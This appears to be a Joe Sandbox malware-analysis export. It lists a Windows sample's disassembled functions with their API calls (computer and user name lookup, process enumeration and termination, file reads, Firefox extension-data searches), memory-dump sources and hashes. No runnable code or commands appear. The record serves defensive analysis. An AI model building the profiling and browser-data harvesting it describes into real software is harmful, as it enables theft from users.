Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@$xJy
API String ID: 62757014-4290197527
Opcode ID: 270aac1f6b61675edb1843e8a635b5515c73b826a4035c958f1de1623f3f8d38
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: 270aac1f6b61675edb1843e8a635b5515c73b826a4035c958f1de1623f3f8d38
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 00415050 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,00799A30), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2
P1y, xrefs: 004150AE

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: P1y$aA
API String ID: 2699682494-1742707842
Opcode ID: 7d8f81950f29c353dc6eca79efceced1e8debec432d06c8626770cf998b7186f
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: 7d8f81950f29c353dc6eca79efceced1e8debec432d06c8626770cf998b7186f
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 0041A920 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 0041A972
lstrcatA.KERNEL32(00000000), ref: 0041A982

Strings

vI@, xrefs: 0041A929
vI@, xrefs: 0041A937

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy
String ID: vI@$vI@
API String ID: 3905823039-1245421781
Opcode ID: fdbee14e0802cf6b2965d2f6b2dd0298cd0a1d0021e9d1410a9323d4b8571ec6
Instruction ID: 271a46469eabd2290b2e3c410fce444a88fb87627d9bf606efbbe474ae7d75ee
Opcode Fuzzy Hash: fdbee14e0802cf6b2965d2f6b2dd0298cd0a1d0021e9d1410a9323d4b8571ec6
Instruction Fuzzy Hash: F011E878901108EFCB05EF94D885AEEB3B5FF49314F108599E825AB391C734AE92CF95

Function 022D7B47 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 022D7B77
RtlAllocateHeap.NTDLL(00000000), ref: 022D7B7E
GetComputerNameA.KERNEL32(?,00000104), ref: 022D7B96

Strings

p/y, xrefs: 022D7B57

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID: p/y
API String ID: 1664310425-2423603383
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 3cca0151a59d8e7222f228c218024613a5fe8c4bc2e95e48b8e02edabaa7e7f8
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 950181B1A54209EFD700DFD9DD45BAAFBB8FB45711F10421AFA05E3284C3B859008BA1

Function 022D7AB7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,022C141E), ref: 022D7AE7
RtlAllocateHeap.NTDLL(00000000), ref: 022D7AEE
GetUserNameA.ADVAPI32(00000104,00000104), ref: 022D7B06

Strings

@.y, xrefs: 022D7ACF

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID: @.y
API String ID: 1296208442-2902824038
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: 8ceb08547c78bb48cfc896b6f4aee824bc07bf86c6ae40a3d1ac48dffe6a80a6
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: BFF04FB5944208BFC710DFD8DD45BAEFBB8EB05711F10025AFA05A2680D77815048BA1

Function 00418D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
wsprintfW.USER32 ref: 00418D78

Strings

%hs, xrefs: 00418D6F

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction ID: e0c39cc4b97fe4de81499882959c588a1d03a161ade5b5bfa375175f6a3fb920
Opcode Fuzzy Hash: 308207b7b7d6c7c9756ec14eecfab78ddd1d2e288a316a00ead5d509718cb0e2
Instruction Fuzzy Hash: 96E08CB8A80208BFC710DBD4EC0AE697BB8EB05702F000194FE0A87280DA719E008B96

Function 022CB497 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB87: lstrcpy.KERNEL32(00000000,?), ref: 022DABD9
Part of subcall function 022DAB87: lstrcat.KERNEL32(00000000), ref: 022DABE9

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

lstrlen.KERNEL32(00000000), ref: 022CB695
lstrlen.KERNEL32(00000000), ref: 022CB6A9

Part of subcall function 022DAA07: lstrcpy.KERNEL32(?,00000000), ref: 022DAA4D

Strings

.y, xrefs: 022CB4B6, 022CB4BB, 022CB527, 022CB52D
P/y, xrefs: 022CB4D1, 022CB4D7, 022CB55A, 022CB55F

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: P/y$.y
API String ID: 2500673778-1359828175
Opcode ID: 8798f729b816a9cda623a426d452656803b252c12be97f132bf9029b60d48b94
Instruction ID: 68b9abbe45b9b9ed57a9ed6d72eee334373ecb8aead6c23b74ad5244b4175f69
Opcode Fuzzy Hash: 8798f729b816a9cda623a426d452656803b252c12be97f132bf9029b60d48b94
Instruction Fuzzy Hash: 41712E71A20358ABCB08EBE4DD95DEE733AAF24304F54462DE506A7198EF346A48CF51

Function 0040B230 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

lstrlenA.KERNEL32(00000000), ref: 0040B42E
lstrlenA.KERNEL32(00000000), ref: 0040B442

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

P/y, xrefs: 0040B26A, 0040B2F3
.y, xrefs: 0040B24F, 0040B2C0

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: P/y$.y
API String ID: 2500673778-1359828175
Opcode ID: 6fec028277900b40f27c2850ec3b0e8779d03b32c09c9e22800fcc27bbda89c2
Instruction ID: fa4c7b04dc1bb1edeb240a941fc638acc8c20e4742db631e424c44125528f59d
Opcode Fuzzy Hash: 6fec028277900b40f27c2850ec3b0e8779d03b32c09c9e22800fcc27bbda89c2
Instruction Fuzzy Hash: 68716271911108ABDB04FBA1DD92DEE7339BF14314F40452EF506A7091EF386A99CBAA

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 332d76602d9979ba15099d14f0ed3dabde39ec0bd50ccc42a35f2ccae80d985e
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: 332d76602d9979ba15099d14f0ed3dabde39ec0bd50ccc42a35f2ccae80d985e
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 022D9737 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 022D9752

Part of subcall function 022D8FB7: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,022D9785,00000000), ref: 022D8FC2
Part of subcall function 022D8FB7: RtlAllocateHeap.NTDLL(00000000), ref: 022D8FC9
Part of subcall function 022D8FB7: wsprintfW.USER32 ref: 022D8FDF

OpenProcess.KERNEL32(00001001,00000000,?), ref: 022D9812
TerminateProcess.KERNEL32(00000000,00000000), ref: 022D9830
CloseHandle.KERNEL32(00000000), ref: 022D983D

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction ID: c88ca1e9d61d54e1397a233f5e5906f4bf7a5666fc66138ff2ed679a6b7fec01
Opcode Fuzzy Hash: 0de5cb3b84569db27d3217fbf1ad12f67d16f90c4b13aa02d8c22dae1f7b6e71
Instruction Fuzzy Hash: 483128B5E50248AFDB14DFE0CC48BEDB77AEB45700F504459F506AA188DB786A84CF51

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: ee457ade85a58c401a034cc046952df660dfe0af018f09e7080f0d4154ab9e94
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: ee457ade85a58c401a034cc046952df660dfe0af018f09e7080f0d4154ab9e94
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 022D88E7 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 022DA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 022DA9EF

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 022D8931
Process32First.KERNEL32(?,00000128), ref: 022D8945
Process32Next.KERNEL32(?,00000128), ref: 022D895A

Part of subcall function 022DAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FBC,00420E17), ref: 022DAC2C
Part of subcall function 022DAC17: lstrcpy.KERNEL32(00000000), ref: 022DAC6B
Part of subcall function 022DAC17: lstrcat.KERNEL32(00000000,00000000), ref: 022DAC79

Part of subcall function 022DAB07: lstrcpy.KERNEL32(?,00420E17), ref: 022DAB6C

CloseHandle.KERNEL32(?), ref: 022D89C8

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction ID: 23e7ee89ca44a808d7911a27a0f8c0a4bd5ff6afbdbffa62ede4f32c2fd9346e
Opcode Fuzzy Hash: 8b5492bb2172847200a0110b71b51f63116bc16bb71ede11aa5be0a2ca02365c
Instruction Fuzzy Hash: DE316D71A11218ABCB24DF94DD45FEEB779EB55700F104199E10AA22A4DB346E84CF91

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 78e734e6add8f3848c475328f99532914076784f23aa1f873a6d1c9a0ebdb1a4
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: 78e734e6add8f3848c475328f99532914076784f23aa1f873a6d1c9a0ebdb1a4
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 022D1A07 Relevance: 6.1, APIs: 4, Instructions: 53stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00420DC0), ref: 022D1A2C
ExitProcess.KERNEL32 ref: 022D1A38
strtok_s.MSVCRT ref: 022D1A4F

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID:
API String ID: 3407564107-0
Opcode ID: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction ID: b8d5882c083238003edf1a6b6ff8de7995e2e3a2044a888cca36394970a8603d
Opcode Fuzzy Hash: 23663e118dc1d9675e857bc575fa0cf4eec126624f33d54e6aec62cd9d365414
Instruction Fuzzy Hash: 6D116AB4920209EFCB04DFE4D948AEDBBB9FF04305F108469E80A67250EB706B14CF65

Function 022D7BE7 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 022D7C17
RtlAllocateHeap.NTDLL(00000000), ref: 022D7C1E
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 022D7C2B
wsprintfA.USER32 ref: 022D7C5A

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: f6c2280583ec21be7368fcd936bc0d02ff9d83eeede8197f797cff8ce8c15987
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 661139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280D3795940CBB1

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.2337926836.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2337926836.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2337926836.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 022D7C97 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 022D7CCA
RtlAllocateHeap.NTDLL(00000000), ref: 022D7CD1
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0064A248,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 022D7CE4
wsprintfA.USER32 ref: 022D7D1E

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 31563fb1acb5a61c383bb396fe1248a0c75aa6155b827a3ff62a938b4a82025e
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: D4115EB1A45228EFEB248B94DC49FA9B7B8FB05721F1043AAF51AA32C0C7785940CF51

Function 022D3880 Relevance: 6.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,00420F5C), ref: 022D3889
StrCmpCA.SHLWAPI(?,00420F60), ref: 022D38A3
StrCmpCA.SHLWAPI(?,00420F64), ref: 022D38BD
strtok_s.MSVCRT ref: 022D3938

Memory Dump Source

Source File: 00000000.00000002.2338947321.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22c0000_mJXdkcP4Wx.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID:
API String ID: 3330995566-0
Opcode ID: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction ID: 750e95f969a0477150c86f59d806d1b24ae9707aa5f47dd1aa27889de28c1d41
Opcode Fuzzy Hash: 88ee3256d646c21cc813880afdb35c02c7abfa0159f377c054558803c8e079b0
Instruction Fuzzy Hash: 85117CB4E5020AEFCB14CFE6D848BEEB7B5FB04304F00C028E025A6254D7749500CF56

